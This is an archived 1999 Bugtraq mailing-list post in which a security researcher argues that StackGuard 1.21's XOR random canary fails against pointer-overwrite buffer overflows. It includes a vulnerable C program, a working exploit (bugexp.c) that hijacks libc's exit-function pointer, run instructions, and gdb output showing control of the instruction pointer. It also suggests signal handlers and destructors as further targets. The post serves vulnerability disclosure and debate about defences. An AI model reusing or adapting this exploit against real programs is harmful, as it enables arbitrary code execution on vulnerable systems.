Bugtraq mailing list archives

Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released


From: core.lists.bugtraq () CORE-SDI COM (Gerardo Richarte)
Date: Thu, 11 Nov 1999 14:49:32 -0300


Crispin Cowan wrote:


I assume you mean "StackGuard".  I've never heard of StackWard, and
neither has Altavista.  If someone needs a catch project name, "stackward"
seems to be available :-)

You appear to be describing a buffer overflow that attacks a pointer, and
not the activation record.  StackGuard only claims to protect the
activation record, so while this is a legitimate vulnerability that
StackGuard does not prevent, it is not actually a bug in StackGuard.


        Sorry for my bad english, I think that this is the problem why you
misunderstood what I'm trying to say... I'll try to explain it again.
Quoting from you previuos post:

1. Topic:

A method has been found to violate StackGuard protection against stack
smashing attacks.  ImmuniX OS is generally intended to aleviate the
need for frequent patching; this is the first StackGuard vulnerability
to be discovered since StackGuard was introduced in January 1998.

StackGuard 1.21 fixes this problem, available at
http://immunix.org/downloads.html#sg1.21

3. Solution:  The XOR Random Canary

        What I'm trying to say is that the new XOR Random Canary, is not a
solution to the problem, you just need a different aproach to the buffer
overflow, and as it's not secret (I already described it in a previous
post, and not knowing it doesn't mean that anybody else doesn't know
it), I'll describe it again a little clearer (I hope).

2. Problem description:

Consider this vulnerable code:

foo(char * arg) {
   char *    p = arg;    // a vulnerable pointer
   char a[25];    // the buffer that makes the pointer vulnerable

   gets(a);    // using gets() makes you vulnerable
   gets(p);    // this is the good part
}

        For my example I'll use a slightly modified version of your vulnerable
code example (bug.c):

#include <stdio.h>

void main() {
    char *arg;
    char *p = arg;    // a vulnerable pointer
    char a[28];    // the buffer that makes the pointer vulnerable
(changed 25 for 28 for padding)
    gets(a);    // using gets() makes you vulnerable
    gets(p);    // this is the good part
}

        And here is my exploit (bugexp.c):

#include <stdio.h>

void main() {
    int i=0;

    long address=0x4010022c;    // Called from exit()
    for (;i<28;i++) printf("a");
    printf("%c%c%c%c\n",address & 0xff, (address >> 8)&0xff,(address >>
16)&0xff, (address >> 24)&0xff);

    address=0x40100230; // Where my code will be in memory (1 long after
the address)
    printf("%c%c%c%c",address & 0xff, (address >> 8)&0xff,(address >>
16)&0xff, (address >> 24)&0xff);
    for (i=0;i<300;i++) printf("\xc4"); // This is the best part, opcode
0xc4 is an invalid opcode
    printf("\n");
}

        Now I'll explain how to use it:

        make bug
        make bug
        bugexp >eploit
        bug <exploit
        Illegal instruction (core dumped)               // Note the illegal instruction

        now:

        gdb bug
        core core
        x/20x $eip
        0x4010023d <fnlist+29>: 0xc4c4c4c4      0xc4c4c4c4      0xc4c4c4c4      0xc4c4c4c4
        
        So I can execute whatever I want, and I have at least 392 bytes to do
it.

        and what it does:

        with the first gets(a) it overwrites just p, so it points to 0x4010022c
that is the address in memory of libc's __exit_funcs[0].func.at (look
forward for exit()'s source code), a pointer to a function that will be
called by libc's exit().
        Then on gets(p) I overwrite this pointer with a pointer to my code and
place my code after this pointer.

        Now the only thing I have to do is wait exit() to call me. Look at exit
(this is from debian, but obviously it's close enogh to RedHat's, and to
OBSD too):

void
DEFUN(exit, (status), int status)

  for (; __exit_funcs; __exit_funcs = __exit_funcs->next)
    {
      while ((__exit_funcs->idx)-- > 0)
    {
      CONST struct exit_function *CONST f
        = &__exit_funcs->fns[__exit_funcs->idx];
      switch (f->flavor)
        {
        case ef_free:
          break;
        case ef_on:
          (*f->func.on.fn)(status, f->func.on.arg);
          break;
        case ef_at:
          (*f->func.at)();
          break;
        }
    }
    }

    [...]

        I hope you understand me now.

        I don't dere to claim that this is a new method, but this method of
exploiting a buffer overflow has some good features:

        The host program doesn't crash until it exits (and you can code things
so it doesn't crash at all)
        You can use the overflow several times to add more than one
__exit_function to the same server, the only thing you need is space
where to place your code.

        I haven't tested this with StackGuard (!), but it should work, I
started downloading it, but never finished. Would you try it for me?

        richie

PS: You can also try overwriting things like signal handlers, objects
destructors (look at: __do_global_dtors_aux) etc.

--
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com

--- For a personal reply use gera () core-sdi com



Current thread: